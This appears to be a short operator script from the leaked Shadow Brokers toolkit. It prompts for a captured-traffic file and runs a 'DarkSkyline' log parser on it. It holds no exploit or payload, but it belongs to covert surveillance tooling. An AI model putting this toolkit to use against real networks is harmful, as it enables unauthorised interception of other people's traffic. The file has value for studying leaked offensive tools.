shadowbrokers-exploits/windows/Resources/Ep/Scripts/Capn/ParseCapture.eps
2017-04-14 11:45:07 +02:00

49 lines
1.1 KiB
PostScript

#--------------------------------------------------------
# File: HandleCapture.eps
#
# Handle DarkSyline capture file
#
# Modifications:
# 01/13/2003 Created.
#--------------------------------------------------------
@echo off;
if ($argc != 1) {
echo "Usage: $argv[0]";
return false;
}
@record on;
# get resource directory
ifnot (`getdirectory -resources`) {
echo "* Unable to get resources directory";
return false;
}
string $rDir = GetCmdData("dir");
ifnot (defined($rDir[0])) {
echo "* Unable to retrieve resources directory";
return false;
}
string $resPath = "$rDir\\DarkSkyline";
@record off;
string $captureFile = GetInput("Enter a local capture file");
string $prefix = GetInput("Enter a capture file prefix");
@echo on;
if (`local run -command "\\"$resPath\\DS_ParseLogs.exe\\" \\"$captureFile\\" \\"$prefix\\"" -redirect "ParseLogs_$prefix"`) {
echo "";
echo "Capture file parsed";
echo "";
return true;
} else {
echo "";
echo "*** FAILED to parse capture file";
echo "";
return false;
}